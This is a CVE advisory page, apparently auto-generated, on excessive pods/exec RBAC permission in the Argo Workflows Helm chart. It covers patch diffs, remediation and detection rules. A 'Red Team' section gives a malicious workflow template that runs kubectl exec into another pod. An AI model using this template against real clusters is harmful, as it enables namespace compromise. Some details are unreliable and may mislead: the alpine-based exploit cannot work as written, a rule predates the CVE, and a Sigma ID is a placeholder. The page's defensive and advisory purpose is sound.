☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-52799

CVE-2024-52799 Code Execution in Argo
📅 PUBLISHED: 2024-11-21 17:02 UTC 🔄 UPDATED: 2026-09-23 20:15 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.21%
👁️
0.21% probability
5.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-52799 is a high-severity privilege escalation vulnerability in the Argo Workflows Helm Chart. The vulnerability arises from the workflow-role having excessive Kubernetes RBAC permissions, specifically create pods/exec. This allows an attacker who can trick a user into running a malicious template to execute arbitrary commands inside any Pod within the same namespace via kubectl exec. The vulnerability affects Helm Chart versions prior to 0.44.0, which correspond to Argo Workflows appVersion 3.4 and above. The fix removes the unnecessary pods/exec permission from the default role.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the Helm Chart distribution of Argo Workflows, not the upstream manifests. Organizations using the Helm Chart to deploy Argo Workflows are affected. The supply chain risk is moderate, as the vulnerability is in the deployment configuration rather than the application code itself. However, a compromised Helm Chart could lead to full namespace compromise.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.3 (High)
  • Attack Vector (AV): Network (N) - The vulnerability can be triggered over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required.
  • Privileges Required (PR): Low (L) - An attacker needs low privileges to initiate the attack.
  • User Interaction (UI): Required (R) - The victim must run a malicious template.
  • Scope (S): Unchanged (U) - The vulnerability does not cross a trust boundary.
  • Confidentiality (C): High (H) - Full read access to Pod data.
  • Integrity (I): High (H) - Full write access to Pod data.
  • Availability (A): High (H) - Full control over Pod execution.

Threat Level: High. The vulnerability allows arbitrary code execution within any Pod in the namespace, leading to complete compromise of the namespace.

Deep Dive & Mechanics

The Argo Workflows Helm Chart creates a Kubernetes ClusterRole (or Role) named workflow-role with excessive permissions. In versions prior to 0.44.0, this role includes the create pods/exec permission. This permission allows a user or service account with this role to execute commands inside any Pod in the namespace using kubectl exec.

The attack flow is as follows:

  1. An attacker crafts a malicious Argo Workflow template.
  2. The attacker tricks a user (or a CI/CD pipeline) into running this template.
  3. The template executes, and due to the excessive permissions of the workflow-role, the attacker can use kubectl exec to gain shell access to any Pod in the namespace.
  4. Once inside a Pod, the attacker can escalate privileges, exfiltrate data, or move laterally.

The vulnerability is specific to the Helm Chart because the upstream manifests do not include these excessive permissions by default. The fix in version 0.44.0 removes the pods/exec permission from the default role.

Vulnerable vs. Patched Code

Vulnerable (Helm Chart < 0.44.0):

# templates/role.yaml (vulnerable)
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: workflow-role
rules:
- apiGroups: [""]
  resources: ["pods", "pods/exec", "pods/log"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]

Patched (Helm Chart >= 0.44.0):

# templates/role.yaml (patched)
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: workflow-role
rules:
- apiGroups: [""]
  resources: ["pods", "pods/log"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]

The key difference is the removal of "pods/exec" from the resources list.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a Kubernetes cluster with Argo Workflows Helm Chart < 0.44.0.
  • Ability to submit a workflow template.

Exploitation Steps:

  1. Create a malicious workflow template:
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: malicious-workflow-
spec:
  entrypoint: exploit
  templates:
  - name: exploit
    container:
      image: alpine:latest
      command: [sh, -c]
      args: ["kubectl exec -it <target-pod> -- /bin/sh"]
  1. Submit the workflow:
argo submit malicious-workflow.yaml
  1. Execute commands inside the target Pod: Once the workflow runs, it will execute kubectl exec against the target Pod, giving the attacker a shell.

Blue Team

Detection:

  • Monitor for unusual kubectl exec commands originating from Argo Workflow Pods.
  • Audit RBAC permissions for the workflow-role to ensure it does not include pods/exec.

Prevention:

  • Upgrade the Helm Chart to version 0.44.0 or later.
  • If upgrade is not possible, manually edit the workflow-role to remove pods/exec permission.

Indicators of Compromise (IOCs)

  • Network: Unusual kubectl exec traffic from Argo Workflow Pods to other Pods in the same namespace.
  • Process: kubectl exec commands executed from within a container that is not a legitimate admin tool.
  • Kubernetes Audit Logs: RBAC authorization failures or successes for pods/exec resource from unexpected service accounts.
  • File System: Presence of malicious workflow templates in the cluster.

Detection Engineering

YARA Rule

rule CVE_2024_52799_Argo_Workflows_PrivEsc {
    meta:
        description = "Detects excessive RBAC permissions in Argo Workflows Helm Chart"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-52799"
    strings:
        $rbac = "pods/exec" nocase
        $role = "workflow-role" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-52799 - Excessive RBAC Permissions in Argo Workflows
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects the presence of pods/exec permission in the workflow-role
author: Valters IT
date: 2024/01/01
logsource:
    product: kubernetes
    service: audit
detection:
    selection:
        verb: create
        objectRef.resource: pods/exec
        user.username: system:serviceaccount:argo:argo-workflows
    condition: selection
falsepositives:
    - Legitimate administrative use
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-52799 - Argo Workflows Pod Exec Attempt"; flow:to_server; content:"kubectl exec"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade the Argo Workflows Helm Chart to version 0.44.0 or later.
  2. If upgrade is not possible, manually edit the workflow-role to remove pods/exec permission.

Long-term Actions:

  1. Implement RBAC auditing to detect excessive permissions.
  2. Use the principle of least privilege for all Kubernetes roles.
  3. Monitor for unusual kubectl exec activity.

Workarounds:

  • Restrict the workflow-role to only necessary permissions.
  • Use network policies to limit Pod-to-Pod communication.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-52799/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.